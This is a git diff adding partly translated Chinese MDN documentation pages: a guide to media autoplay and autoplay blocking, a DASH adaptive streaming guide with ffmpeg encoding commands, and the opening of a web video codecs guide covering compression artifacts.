Automatically starting the playback of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users. While autoplay of media serves a useful purpose, it should be used carefully and only when needed. In order to give users control over this, browsers often provide various forms of autoplay blocking. In this guide, we'll cover autoplay functionality in the various media and Web Audio APIs, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully.

+ +

Autoplay blocking is not applied to {{HTMLElement("video")}} elements when the source media does not have an audio track, or if the audio track is muted. Media with an active audio track are considered to be audible, and autoplay blocking applies to them. Inaudible media are not affected by autoplay blocking.

+ +

自动播放 和 自动播放暂停

+ +

The term autoplay refers to any feature that causes audio to begin to play without the user specifically requesting that playback begin. This includes both the use of HTML attributes to autoplay media as well as the user of JavaScript code to start playback outside the context of handling user input.

+ +

That means that both of the following are considered autoplay behavior, and are therefore subject to the browser's autoplay blocking policy:

+ +
<audio src="/music.mp4" autoplay>
+ +

+ +
audioElement.play();
+
+ +

以下网络功能和API可能会受到自动播放阻止的影响:

+ +
    +
  • The {{Glossary("HTML")}} {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements
  • +
  • The Web Audio API
  • +
+ +

从用户的角度来看,网页或应用程序自动地发出噪音而没有警告可能会令人讨厌、不便或令人反感。因此,浏览器通常仅允许在特定情况下进行自动播放。

+ +

Autoplay功能

+ +

据新政策,媒体内容将在满足以下至少一个的条件下自动播放:

+ +
    +
  • 音频被静音或其音量设置为0
  • +
  • 用户和网页已有交互行为(包括点击、触摸、按下某个键等等)
  • +
  • 网站已被列入白名单;如果浏览器确定用户经常与媒体互动,这可能会自动发生,也可能通过首选项或其他用户界面功能手动发生
  • +
  • 自动播放策略应用到{{HTMLElement("iframe")}}或者其文档上
  • +
+ +

否则,播放可能会被阻止。导致播放被阻塞的确切情况以及将网站列入白名单的具体方法因浏览器而异,但最好是遵循以上的原则。

+ +

详情,请参阅 Google Chrome 和 WebKit 的自动播放政策。

+ +
+

注意: 换句话说,如果在尚无任何用户交互的页面中通过编程方式启动播放,则通常会阻止任何包含音频在内的媒体的播放。

+
+ +

能自动播放的媒体元素

+ +

既然我们已经介绍了什么是自动播放以及什么可以阻止自动播放,接下来我们将介绍您的网站或应用程序如何在页面加载时自动播放媒体,如何检测何时自动播放失败,以及当自动播放被浏览器拒绝时的应对技巧。

+ +

autoplay 属性

+ +

想让内容自动播放的最简单方法是将{{htmlattrxref("autoplay", "audio")}}属性添加到{{HTMLElement("audio")}}或{{HTMLElement("video")}}元素。并将{{domxref("HTMLMediaElement.autoplay", "autoplay")}}属性设置为 true ,当 autoplay 的属性为 true 时,媒体元素将在发生以下情况后尽快自动开始播放:

+ +
    +
  • +

    页面允许使用自动播放功能

    +
  • +
  • 媒体元素已在页面加载期间创建
  • +
  • 假设网络性能或带宽没有显着变化,且已收到足够的媒体流并已开始播放,继续播放直至媒体结束而不会中断。
  • +
+ +

例子1: autoplay属性

+ +

使用 autoplay 属性的{{HTMLElement("audio")}}元素就像如下:

+ +
<audio id="musicplayer" autoplay>
+  <source src="/music/chapter1.mp4"
+</audio>
+
+ +

例子2:检测自动播放失败

+ +

如果你依靠自动播放功能去做一些重要的事情,或者自动播放失败会以任何方式影响你的应用程序,那你可能会想知道自动播放什么时候没有开始。不幸的是,对于{{htmlattrxref("autoplay", "audio")}}属性,识别自动播放是否成功开始是很棘手的。自动播放失败时不会触发任何事件。也没有抛出异常或可以设置回调,甚至在媒体元素上都没有标记来告诉你自动播放是否起作用。你实际能做的就是检查一些值,然后根据这些值猜测自动播放是否起作用。

+ +

如果您能够调整查看内容的方向,那么更好的方法是,依靠知道媒体播放已成功开始,而不是在媒体启动失败时知道。您可以通过侦听要在媒体元素上触发的{{event("play")}}事件来轻松实现此目的。

+ +

The play event is sent both when the media is resumed after being paused and when autoplay occurs. That means that the first time the play event is fired, you know your media is being started for the first time after the page is opened.

+ +

Consider this HTML for a media element:

+ +
<video src="myvideo.mp4" autoplay onplay=handleFirstPlay(event)">
+ +

Here we have a {{HTMLElement("video")}} element whose {{htmlattrxref("autoplay", "video")}} attribute is set, with an {{domxref("HTMLMediaElement.onplay", "onplay")}} event handler set up; the event is handled by a function called handleFirstPlay(), which receives as input the play event.

+ +

handleFirstPlay() looks like this:

+ +
function handleFirstPlay(event) {
+  let vid = event.target;
+
+  vid.onplay = null;
+
+  // Start whatever you need to do after playback has started
+}
+ +

After getting a reference to the video element from the {{domxref("Event")}} object's {{domxref("Event.target", "target")}}, the element's onplay handler is set to null. This will prevent any future play events from being delivered to the handler. That could happen if the video is paused and resumed by the user or automatically by the browser when the document is in a background tab.

+ +

At this point, your site or app can begin whatever it needs to do that relies upon the video having been started up.

+ +
+

Note: This approach doesn't differentiate between autoplay and the user starting playback manually.

+
+ +

The play() method

+ +

The term "autoplay" also refers to scenarios in which a script tries to trigger the playback of media that includes audio, outside the context of handling a user input event. This is done by calling the media element's {{domxref("HTMLMediaElement.play", "play()")}} method.

+ +
+

Note: It is strongly recommended that you use the autoplay attribute whenever possible, because support for autoplay preferences are more widespread for the autoplay attribute than for other means of playing media automatically. It also lets the browser take responsibility for starting playback, letting it optimize the timing of that taking place.

+
+ +

Example: Playing video

+ +

This simple example plays the first {{HTMLElement("video")}} element found in the document. play() won't let the playback begin unless the document has permission to automatically play media.

+ +
document.querySelector("video").play();
+ +

Example: Handling play() failures

+ +

It's much easier to detect a failure to autoplay media when you use the {{domxref("HTMLMediaElement.play", "play()")}} method to start it. play() returns a {{jsxref("Promise")}} which is resolved once the media successfully begins to play, and is rejected when playback fails to begin (such as if autoplay is denied). When autoplay fails, you likely will want to offer a way for the user to manually tell the browser to ask the user to grant permission to play media.

+ +

You might use code like this to accomplish the job:

+ +
let startPlayPromise = videoElem.play();
+
+if (startPlayPromise !== undefined) {
+  startPlayPromise.catch(error => {
+    if (error.name === "NotAllowedError") {
+      showPlayButton(videoElem);
+    } else {
+      // Handle a load or playback error
+    }
+  }).then(() => {
+    // Start whatever you need to do only after playback
+    // has begun.
+  });
+}
+
+ +

The first thing we do with the result of play() is make sure it's not undefined. We check for this because in earlier versions of the HTML specification, play() didn't return a value. Returning a promise to allow you to determine success or failure of the operation was added more recently. Checking for undefined prevents this code from failing with an error on older versions of web browsers.

+ +

We then add a {{jsxref("Promise.catch", "catch()")}} handler to the promise. This looks at the error's {{domxref("DOMException.name", "name")}} to see if it's NotAllowedError. This indicates that playback failed due to a permission issue, such as autoplay being denied. If that's the case, we should present a user interface to let the user manually start playback; that's handled here by a function showPlayButton().

+ +

Any other errors are handled as appropriate.

+ +

If the promise returned by play() is resolved without error, the then() clause is run and can begin whatever needs to be done when autoplay has begun.

+ +

Autoplay using the Web Audio API

+ +

In the Web Audio API, a web site or app can start playing audio using the start() method on a source node linked to the {{domxref("AudioContext")}}. Doing so outside the context of handling a user input event is subject to autoplay rules.

+ +

More content will come soon; autoplay blocking is still being worked on at Mozilla. If others have it already, they are welcome to pitch in with this section...

+ +

The autoplay feature policy

+ +

In addition to the browser-side management and control over autoplay functionality described above, a web server can also express its willingness to allow autoplay to function. The {{Glossary("HTTP")}} {{HTTPHeader("Feature-Policy")}} header's autoplay directive is used to control which domains, if any, can be used to autoplay media. By default, the autoplay feature policy is set to 'self' (including the single quote characters), indicating that autoplay is permitted as they're hosted on the same domain as the document.

+ +

You can also specify 'none' to disable autoplay entirely, '*' to allow autoplay from all domains, or one or more specific origins from which media can be automatically played. These origins are separated by space characters.

+ +
+

Note: The specified feature policy applies to the document and every {{HTMLElement("iframe")}} nested within it, unless those frames include an {{htmlattrxref("allow", "iframe")}}, which sets a new feature policy for that frame and all frames nested within it.

+
+ +

When using the {{htmlattrxref("allow", "iframe")}} attribute on an <iframe> to specify a feature policy for that frame and its nested frames, you can also specify the value 'src' to allow autoplay of media only from the same domain as that specified by the frame's {{htmlattrxref("src", "iframe")}} attribute.

+ +

Example: Allowing autoplay only from the document's domain

+ +

To use the {{HTTPHeader("Feature-Policy")}} header to only allow media to autoplay from the document's {{Glossary("origin")}}:

+ +
Feature-Policy: autoplay 'self'
+ +

To do the same for an {{HTMLElement("iframe")}}:

+ +
<iframe src="mediaplayer.html"
+        allow="autoplay 'src'">
+</iframe>
+
+ +

Example: Allowing autoplay and fullscreen mode

+ +

Adding Fullscreen API permission to the previous example results in a Feature-Policy header like the following if fullscreen access is allowed regardless of the domain; a domain restriction can be added as well as needed.

+ +
Feature-Policy: autoplay 'self'; fullscreen
+ +

The same permissions, grated using the <iframe> element's allow property, look like this:

+ +
<iframe src="mediaplayer.html"
+        allow="autoplay 'src'; fullscreen">
+</iframe>
+
+ +

Example: Allowing autoplay from specific sources

+ +

The Feature-Policy header to allow media to be played from both the document's (or <iframe>'s) own domain and https://example.media looks like this:

+ +
Feature-Policy: autoplay 'self' https://example.media
+ +

An {{HTMLElement("iframe")}} can be written to specify that this autoplay policy should be applied to itself and any child frames would be written thusly:

+ +
<iframe width="300" height="200"
+        src="mediaplayer.html"
+        allow="autoplay 'src' https://example.media">
+</iframe>
+
+ +

Example: Disabling autoplay

+ +

Setting the autoplay feature policy to 'none' disables autoplay entirely for the document or <iframe> and all nested frames. The HTTP header is:

+ +
Feature-Policy: autoplay 'none'
+ +

Using the <iframe>'s allow attribute:

+ +
<iframe src="mediaplayer.html"
+        allow="autoplay 'none'">
+</iframe>
+
+ +

Best practices

+ +

Tips and recommended best practices to help you make the most of working with autoplay are offered here.

+ +

Handling autoplay failure with media controls

+ +

A common use case for autoplay is to automatically begin to play a video clip that goes along with an article, an advertisement, or a preview of the page's main functionality. To autoplay videos like these, you have two options: don't have an audio track, or have an audio track but configure the {{HTMLElement("video")}} element to mute the audio by default, like this:

+ +
<video src="/videos/awesomevid.webm" controls autoplay muted>
+ +

This video element is configured to include the user controls (typically play/pause, scrubbing through the video's timeline, volume control, and muting); also, since the {{htmlattrxref("muted", "video")}} attribute is included, the video will autoplay but with the audio muted. The user has the option, however, of re-enabling the audio by clicking on the unmute button in the controls.

+ +

Browser configuration options

+ +

Browsers may have preferences that control the way autoplay works, or how autoplay blocking is handled. Here, any such preferences that may be of special significance or importance to you as a web developer are listed. These include any that may aid in testing or debugging as well as any that could be set in a way that you need to be prepared to handle.

+ +

Firefox

+ +
+
media.allowed-to-play.enabled
+
A Boolean preference which specifies whether or not the {{domxref("HTMLMediaElement.allowedToPlay")}} property is exposed to the web. This is currently false by default (except in nightly builds, where it's true by default). If this is false, the allowedToPlay property is missing from the HTMLMediaElement interface, and is thus not present on either {{HTMLElement("audio")}} or {{HTMLElement("video")}} elements.
+
media.autoplay.allow-extension-background-pages
+
This Boolean preference, if true, allows browser extensions' background scripts to autoplay audio media. Setting this value to false disables this capability. The default value is true.
+
media.autoplay.allow-muted
+
A Boolean preference which if true (the default) allows audio media which is currently muted to be automatically played. If this has been changed to false, media with an audio track will not be permitted to play even if muted.
+
media.autoplay.block-webaudio
+
A Boolean preference which indicates whether or not to apply autoplay blocking to the Web Audio API. The default is true.
+
media.autoplay.default
+
An integer preference which specifies whether per-domain configuration for autoplay support by default is allowed (0), blocked (1), or prompt-on-use (2). The default value is 0.
+
media.autoplay.enabled.user-gestures-needed (Nightly builds only)
+
A Boolean preference which controls whether or not detection of user gestures is allowed to override the setting of media.autoplay.default. If media.autoplay.default is not set to 0 (autoplay allowed by default), this preference being true allows autoplay of media with audio tracks anyway if the page has been activated by user gestures, and media that isn't audible is not restricted at all.
+
media.block-autoplay-until-in-foreground
+
A Boolean preference which indicates whether or not media playback is blocked when started on a background tab. The default value, true, means that even when otherwise available, autoplay won't take place until after a tab is brought to the foreground. This prevents the distracting situation in which a tab begins playing sound and the user can't find the tab among all their tabs and windows.
+
+ +

See also

+ + diff --git a/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html b/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html new file mode 100644 index 0000000000..aed7160371 --- /dev/null +++ b/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html @@ -0,0 +1,100 @@ +--- +title: 为 HTML 5 视频提供的 DASH 自适应串流 +slug: Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video +tags: + - DASH + - HTML + - HTML5 + - 指南 + - 视频流 +translation_of: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video +--- +

经由 HTTP 的动态自适应串流(DASH)是一种自适应串流协议。 这意味着它使得视频串流能基于网络性能来调整比特率,以保证视频流畅播放。

+ +

浏览器支持

+ +

Firefox 21 包含了针对 HTM5 WebM 视频的 DASH 实现,但默认没有启用。可以通过在“about:config”里调整“media.dash.enabled”首选项来开启。

+ +

Firefox 23 移除了针对 HTML5 WebM 视频的 DASH 实现。此功能将被 媒体源扩展 API(MSE) 的实现取代。MSE 可实现通过 JavaScript 库(例如 dash.js)来提供对 DASH 的支持。详情参见 Bug 778617

+ +

使用 DASH - 服务端

+ +

首先,您需要将WebM视频转换为带有不同比特率的随附视频文件的DASH清单。根据您的需求,启动从 ffmpeg.org 的 ffmpeg 程序,就可以使用 libvpx 和 libbvorbis 支持的 WebM 视频和音频(版本2.5以上,3.2.5版本已通过测试)。

+ +

1. 使用现有的WebM文件创建一个音频文件和多个视频文件。

+ +

例如:

+ +

文件in.video可以是任何包含至少一个音频和一个视频流的容器,这些容器可以由ffmpeg解码,

+ +

创建音频:

+ +
ffmpeg -i in.video -vn -acodec libvorbis -ab 128k my_audio.webm
+
+
+ +

创建不同的视频

+ +
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=160:190 -b:v 250k video_160x90_250k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=320:180 -b:v 500k video_320x180_500k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=640:360 -b:v 750k  video_640x360_750k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=640:360 -b:v 1000k  video_640x360_1000k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=1280:720 -b:v 1500k  video_1280x720_1500k.webm
+
+ +

或使用命令创建以上视频:

+ +
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 \
+-g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=160:190 -b:v 250k video_160x90_250k.webm \
+-an -vf scale=320:180 -b:v 500k video_320x180_500k.webm \
+-an -vf scale=640:360 -b:v 750k  video_640x360_750k.webm \
+-an -vf scale=640:360 -b:v 1000k  video_640x360_1000k.webm \
+-an -vf scale=1280:720 -b:v 1500k  video_1280x720_1500k.webm
+ +

2. 创建清单文件

+ +
ffmpeg \
+  -f webm_dash_manifest -i video_160x90_250k.webm \
+  -f webm_dash_manifest -i video_320x180_500k.webm \
+  -f webm_dash_manifest -i video_640x360_750k.webm \
+  -f webm_dash_manifest -i video_1280x720_1500k.webm \
+  -f webm_dash_manifest -i my_audio.webm \
+  -c copy \
+  -map 0 -map 1 -map 2 -map 3 -map 4 \
+  -f webm_dash_manifest \
+  -adaptation_sets "id=0,streams=0,1,2,3 id=1,streams=4" \
+  my_video_manifest.mpd
+ +

-map 参数对应输入文件的顺序(每个文件只对应一个参数)。-adaptation_sets 参数将它们分配给适配集;例如,以上命令创建一个包含 0,1,2,3 的视频集(0),而另一个(1)仅仅包含视频流 4 和音频流。

+ +

将清单和相关的视频文件放在Web服务器或CDN上。 DASH通过HTTP来完成,因此只要您的HTTP服务器支持字节范围请求,并且DASH设置为使用 mimetype="application/dash+xml" 来支持 .mpd 文件即可。

+ +

使用DASH-客户端

+ +

您将需要修改网页,使其首先指向DASH清单,而不是直接指向特定的视频文件:

+ +
<video>
+  <source src="movie.mpd">
+  <source src="movie.webm">
+  Your browser does not support the video tag.
+</video>
+ +

如果浏览器支持DASH,则您的视频现在将自适应地流式传输。

+ + + +

WebM DASH Specification at The WebM Project

+ +

DASH Industry Forum

+ +

WebM project description of how to create DASH files with FFMPEG

diff --git a/files/zh-cn/web/media/formats/video_codecs/index.html b/files/zh-cn/web/media/formats/video_codecs/index.html new file mode 100644 index 0000000000..d299975762 --- /dev/null +++ b/files/zh-cn/web/media/formats/video_codecs/index.html @@ -0,0 +1,1673 @@ +--- +title: 网络视频编解码器指南 +slug: Web/Media/Formats/视频编解码器 +translation_of: Web/Media/Formats/Video_codecs +--- +
{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}
+ +

未经压缩的视频的数据量太大了,我们有必要进行很多压缩处理来存储视频,就更不用说通过网络传输视频的时候了。想象一下我们需要多少数据来存储未经压缩的视频:

+ +
    +
  • 全色彩的高清视频(1920x1080)每一帧为 8,294,400 字节。
  • +
  • 按照典型的每秒30帧的传播速度,高清视频每秒钟会占用 248,832,000 字节(约 249 MB)。
  • +
  • 一分钟的高清视频将需要 1.39GB 的存储空间。
  • +
  • 一个相当典型的30分钟视频会议将需要约 47.1GB 的存储空间,而2小时的电影则需要将近 166GB 的存储空间。
  • +
+ +

不仅仅是需要的存储空间很大的问题,以 249MB 每秒的速度传输这样的未压缩的视频所需要的网络带宽也很大(不包括音频和开销)。这就是为什么我们需要视频编解码器。就像音频编解码器对声音数据所做的处理一样,视频编解码器会压缩视频数据并将其编码为一种格式,以后我们可以对其进行解码,播放或者编辑。

+ +

大多数的视频编解码器是有损的(解码后的视频与原来的视频不完全匹配)。一些细节可能会丢失,丢失的数量取决于编解码器和它的配置方式。通常来说,压缩程度越高,细节丢失的越多,视频失真更严重。虽然现在也有一些无损编解码器,但是通常都是用于存档和存储在本地来进行本地回放的,而不是在网络上使用。

+ +

本指南介绍了一些你可能遇到或者考虑去使用的网络视频编解码器的功能以及一些兼容性和实用性问题。并且帮助您为项目视频选择正确的编解码器提供一些建议。

+ +

通用编解码器

+ +

以下视频编解码器是网上最常用的视频编解码器。每个编解码器都列出了它们可以支持的文件类型。每个编解码器都提供了一个指向下文相关部分详细内容的快捷链接,包含一些您可能需要了解的特定功能和兼容性问题。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
编解码器名称 (简称)编解码器全称支持文件类型
AV1AOMedia Video 1MP4, WebM
AVC (H.264)Advanced Video Coding3GP, MP4, WebM
H.263H.263 Video3GP
HEVC (H.265)High Efficiency Video CodingMP4
{{anch("MP4V-ES")}}MPEG-4 Video Elemental Stream3GP, MP4
{{anch("MPEG-1")}}MPEG-1 Part 2 VisualMPEG, QuickTime
{{anch("MPEG-2")}}MPEG-2 Part 2 VisualMP4, MPEG, QuickTime
TheoraTheoraOgg
VP8Video Processor 83GP, Ogg, WebM
VP9Video Processor 9MP4, Ogg, WebM
+ +

影响编码视频的因素

+ +

和任何编码器一样,有两个会影响到编码视频大小和质量的因素:源视频的格式和内容,以及在对视频进行编码时候使用的编解码器的特性和配置。

+ +

最简单的原则是:如果要让编码视频看起来更像原始的未压缩过的视频,那么通常得到的视频会更大。因此我们始终要在尺寸和质量之间进行权衡。在某些情况下,我们会为了降低数据大小而接受质量的损失。但是其他时候,我们不能接受质量损失,所以我们必须接受会导致文件相应增大的编码器配置。

+ +

源视频格式对编码输出的影响

+ +

源视频格式影响编码输出的程度取决于编解码器及其工作方式。如果编解码器将视频媒体转换为内部像素的格式,或者使用使用简单像素以外的方法表示图像,那么原始图像的格式对编码输出没有什么影响。但是,诸如帧频和分辨率之类始终会对媒体视频的输出大小产生影响。

+ +

Additionally, all codecs have their strengths and weaknesses. Some have trouble with specific kinds of shapes and patterns, or aren't good at replicating sharp edges, or tend to lose detail in dark areas, or any number of possibilities. It all depends on the underlying algorithms and mathematics.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
The potential effect of source video format and contents on the encoded video quality and size
Feature对质量的影响对尺寸的影响
Color depth (bit depth)颜色位深越高,视频中颜色保真度质量就越高。除此之外,在图像饱和部分(颜色纯而强烈的,例如明亮纯红色[rgba(255,0,0,1)),低于每分量10色深(10bits色彩)允许条带化,其中,如果没有可见色阶跃就无法表示渐变。Depending on the codec, higher color depths may result in larger compressed file sizes. The determining factor is what internal storage format is used for the compressed data.
Frame ratePrimarily affects the perceived smoothness of the motion in the image. To a point, the higher the frame rate, the smoother and more realistic the motion will appear. Eventually the point of diminishing returns is reached. See {{anch("Frame rate")}} below for details.Assuming the frame rate is not reduced during encoding, higher frame rates cause larger compressed video sizes.
MotionCompression of video typically works by comparing frames, finding where they differ, and constructing records containing enough information to update the previous frame to approximate the appearance of the following frame. The more successive frames differ from one another, the larger these differences are, and the less effective the compression is at avoiding the introduction of artifacts into the compressed video.The complexity introduced by motion results in larger intermediate frames due to the higher number of differences between frames). For this and other reasons, the more motion there is in a video, the larger the output file will typically be.
NoisePicture noise (such as film grain effects, dust, or other grittiness to the image) introduces variability. Variability generally makes compression more difficult, resulting in more lost quality due to the need to drop details to achieve the same level of compression.The more variability—such as noise—there is in the image, the more complex the compression process and the less success the algorithm is likely to have compressing the image to the same degree. Unless you configure the encoder in a way that ignores some or all of the variations caused by noise, the compressed video will be larger.
Resolution (width and height)Higher resolution video, presented in the same screen size, will typically be able to more accurately portray the original scene, barring effects introduced during compression.The higher the resolution of a video, the larger it gets. This plays a key role in the final size of the video.
+ +

The degree to which these affect the resulting encoded video will vary depending on the precise details of the situation, including which encoder you use and how it's configured. In addition to general codec options, the encoder could be configured to reduce the frame rate, to clean up noise, and/or to reduce the overall resolution of the video during encoding.

+ +

Effect of codec configuration on encoded output

+ +

The algorithms used do encode video typically use one or more of a number of general techniques to perform their encoding. Generally speaking, any configuration option that is intended to reduce the output size of the video will probably have a negative impact on the overall quality of the video, or will introduce certain types of artifacts into the video. It's also possible to select a lossless form of encoding, which will result in a much larger encoded file but with perfect reproduction of the original video upon decoding.

+ +

In addition, each encoder utility may have variations in how they process the source video, resulting in differences in the output quality and/or size.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Video encoder configuration effects on quality and size
FeatureEffect on qualityEffect on size
Lossless compressionNo loss of qualityLossless compression cannot reduce the overall video size nearly as much as lossy compression; the resulting files are likely to still be too large for general usage.
Lossy compressionTo some degree, artifacts and other forms of quality degradation wil occur, depending on the specific codec and how much compression is being appliedThe more the encoded video is allowed to deviate from the source, the easier it is to accomplish higher compression rates
Quality settingThe higher the quality configuration, the more like the original media the encoded video will lookIn general, higher quality settings will result in larger encoded video files; the degree to which this is true varies depending on the codec
Bit rateQuality generally improves with higher bit ratesHigher bit rates inherently lead to larger output files
+ +

The options available when encoding video, and the values to be assigned to those options, will vary not only from one codec to another but depending on the encoding software you use. The documentation included with your encoding software will help you to understand the specific impact of these options on the encoded video.

+ +

Compression artifacts

+ +

Artifacts are side effects of a lossy encoding process in which the lost or rearranged data results in visibly negative effects. Once an artifact has appeared, it may linger for a while, because of how video is displayed. Each frame of video is presented by applying a set of changes to the currently-visible frame. This means that any errors or artifacts will compound over time, resulting in glitches or otherwise strange or unexpected deviations in the image that linger for a time.

+ +

To resolve this, and to improve seek time through the video data, periodic key frames (also known as intra-frames or i-frames) are placed into the video file. The key frames are full frames, which are used to repair any damage or artifact residue that's currently visible.

+ +

Aliasing

+ +

Aliasing is a general term for anything that upon being reconstructed from the encoded data does not look the same as it did before compression. There are many forms of aliasing; the most common ones you may see include:

+ + + + + + + + + + + + + + + + +
+

Moiré patterns

+ +

A {{interwiki("Moiré pattern")}} is a large-scale spatial interference pattern produced when a pattern in the source image and the manner in which the encoder operates are slightly out of alignment spatially. The artifacts generated by the encoder then introduce strange, swirling effects in the source image's pattern upon decoding.

+
+

Staircase effect

+ +

The staircase effect is a spatial artifact that occurs when diagonal straight or curved edges that should be smooth take on a jagged appearance, looking somewhat like a set of stair steps. This is the effect that is being reduced by "anti-aliasing" filters.

+
+

Wagon-wheel effect

+ +

The wagon-wheel effect (or {{interwiki("wikipedia", "stroboscopic effect")}}) is the visual effect that's commonly seen in film, in which a turning wheel appears to rotate at the wrong speed, or even in reverse, due to an interaction between the frame rate and the compression algorithm. The same effect can occur with any repeating pattern that moves, such as the ties on a railway line, posts along the side of a road, and so forth. This is a temporal (time-based) aliasing issue; the speed of the rotation interferes with the frequency of the sampling performed during compression or encoding.

+
+ +

Color edging

+ +

Color edging is a type of visual artifact that presents as spurious colors introduced along the edges of colored objects within the scene. These colors have no intentional color relationship to the contents of the frame.

+ +

 Loss of sharpness

+ +

The act of removing data in the process of encoding video requires that some details be lost. If enough compression is applied, parts or potentially all of the image could lose sharpness, resulting in a slightly fuzzy or hazy appearance.

+ +

Lost sharpness can make text in the image difficult to read, as text—especially small text—is very detail-oriented content, where minor alterations can significantly impact legibility.

+ +

Ringing

+ +

Lossy compression algorithms can introduce {{interwiki("wikipedia", "ringing artifacts", "ringing")}}, an effect where areas outside an object are contaminated with colored pixels generated by the compression algorithm. This happens when an algorithm that uses blocks that span across a sharp boundary between an object and its background. This is particularly common at higher compression levels.

+ +

Example of the ringing effect

+ +

Note the blue and pink fringes around the edges of the star above (as well as the stepping and other significant compression artifacts). Those fringes are the ringing effect. Ringing is similar in some respects to {{anch("Mosquito noise", "mosquito noise")}}, except that while the ringing effect is more or less steady and unchanging, mosquito noise shimmers and moves.

+ +

RInging is another type of artifact that can make it particularly difficult to read text contained in your images.

+ +

Posterizing

+ +

Posterization occurs when the compression results in the loss of color detail in gradients. Instead of smooth transitions through the various colors in a region, the image becomes blocky, with blobs of color that approximate the original appearance of the image.

+ +

+ +

Note the blockiness of the colors in the plumage of the bald eagle in the photo above (and the snowy owl in the background). The details of the feathers is largely lost due to these posterization artifacts.

+ +

Contouring

+ +

Contouring or color banding is a specific form of posterization in which the color blocks form bands or stripes in the image. This occurs when the video is encoded with too coarse a quantization configuration. As a result, the video's contents show a "layered" look, where instead of smooth gradients and transitions, the transitions from color to color are abrupt, causing strips of color to appear.

+ +

Example of an image whose compression has introduced contouring

+ +

In the example image above, note how the sky has bands of different shades of blue, instead of being a consistent gradient as the sky color changes toward the horizon. This is the contouring effect.

+ +

Mosquito noise

+ +

Mosquito noise is a temporal artifact which presents as noise or edge busyness that appears as a flickering haziness or shimmering that roughly follows outside the edges of objects with hard edges or sharp transitions between foreground objects and the background. The effect can be similar in appearance to {{anch("Ringing", "ringing")}}.

+ +

+ +

The photo above shows mosquito noise in a number of places, including in the sky surrounding the bridge. In the upper-right corner, an inset shows a close-up of a portion of the image that exhibits mosquito noise.

+ +

Mosquito noise artifacts are most commonly found in MPEG video, but can occur whenever a discrete cosine transform (DCT) algorithm is used; this includes, for example, JPEG still images.

+ +

Motion compensation block boundary artifacts

+ +

Compression of video generally works by comparing two frames and recording the differences between them, one frame after another, until the end of the video. This technique works well when the camera is fixed in place, or the objects in the frame are relatively stationary, but if there is a great deal of motion in the frame, the number of differences between frames can be so great that compression doesn't do any good.

+ +

{{interwiki("wikipedia", "Motion compensation")}} is a technique that looks for motion (either of the camera or of objects in the frame of view) and determines how many pixels the moving object has moved in each direction. Then that shift is stored, along with a description of the pixels that have moved that can't be described just by that shift. In essence, the encoder finds the moving objects, then builds an internal frame of sorts that looks like the original but with all the objects translated to their new locations. In theory, this approximates the new frame's appearance. Then, to finish the job, the remaining differences are found, then the set of object shifts and the set of pixel differences are stored in the data representing the new frame. This object that describes the shift and the pixel differences is called a residual frame.

+ + + + + + + + + + + + + + + + + + + + + + + + +
Original frameInter-frame differencesDifference after motion compensation
Original frame of videoDifferences between the frames after shifting two pixels right
The first full frame as seen by the viewer.Here, only the differences between the first frame and the following frame are seen. Everything else is black. Looking closely, we can see that the majority of these differences come from a horizontal camera move, making this a good candidate for motion compensation.To minimize the number of pixels that are different, here we take into account the panning of the camera by first shifting the first frame to the right by two pixels, then by taking the difference. This compensates for the panning of the camera, allowing for more overlap between the two frames.
Images from Wikipedia
+ +

There are two general types of motion compensation: global motion compensation and block motion compensation. Global motion compensation generally adjusts for camera movements such as tracking, dolly movements, panning, tilting, rolling, and up and down movements. Block motion compensation handles localized changes, looking for smaller sections of the image that can be encoded using motion compensation. These blocks are normally of a fixed size, in a grid, but there are forms of motion compensation that allow for variable block sizes, and even for blocks to overlap.

+ +

There are, however, artifacts that can occur due to motion compensation. These occur along block borders, in the form of sharp edges that produce false ringing and other edge effects. These are due to the mathematics involved in the coding of the residual frames, and can be easily noticed before being repaired by the next key frame.

+ +

Reduced frame size

+ +

In certain situations, it may be useful to reduce the video's dimensions in order to improve the final size of the video file. While the immediate loss of size or smoothness of playback may be a negative factor, careful decision-making can result in a good end result. If a 1080p video is reduced to 720p prior to encoding, the resulting video can be much smaller while having much higher visual quality; even after scaling back up during playback, the result may be better than encoding the original video at full size and accepting the quality hit needed to meet your size requirements.

+ +

Reduced frame rate

+ +

Similarly, you can remove frames from the video entirely and decrease the frame rate to compensate. This has two benefits: it makes the overall video smaller, and that smaller size allows motion compensation to accomplish even more for you. For exmaple, instead of computing motion differences for two frames that are two pixels apart due to inter-frame motion, skipping every other frame could lead to computing a difference that comes out to four pixels of movement. This lets the overall movement of the camera be represented by fewer residual frames.

+ +

